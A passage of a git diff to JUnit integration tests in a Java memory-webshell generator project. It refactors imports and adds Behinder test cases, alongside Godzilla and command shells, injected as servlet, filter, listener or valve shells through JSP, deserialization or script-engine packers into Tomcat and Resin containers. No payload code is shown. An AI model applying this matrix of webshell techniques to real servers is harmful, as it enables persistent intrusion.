arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index 507f97cd..16a7c2e9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.resin; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,14 +40,20 @@ public class Resin318ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index ff4b0f64..242dec53 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.resin; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,24 +40,24 @@ public class Resin4058ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index a49ae6e4..99e55a78 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.resin; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,14 +40,20 @@ public class Resin4067ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index e74cef0e..bfb65ad4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.TomcatShell; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,18 +41,26 @@ public class Tomcat10ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 4d34f2c1..88a39375 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; @@ -42,12 +42,16 @@ public class Tomcat11ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index 7c5ae5e4..9e5aa156 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; @@ -42,12 +42,16 @@ public class Tomcat11JRE21ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 16769c5b..9ebcaf94 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memshell.TomcatShell; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,18 +41,26 @@ public class Tomcat5ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index c0022242..d2f3e2fb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memshell.TomcatShell; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,18 +41,26 @@ public class Tomcat6ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 28f69996..fdab9745 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.TomcatShell; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,18 +41,26 @@ public class Tomcat7ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index bc57a109..949e53e9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.TomcatShell; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,24 +41,36 @@ public class Tomcat8ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, 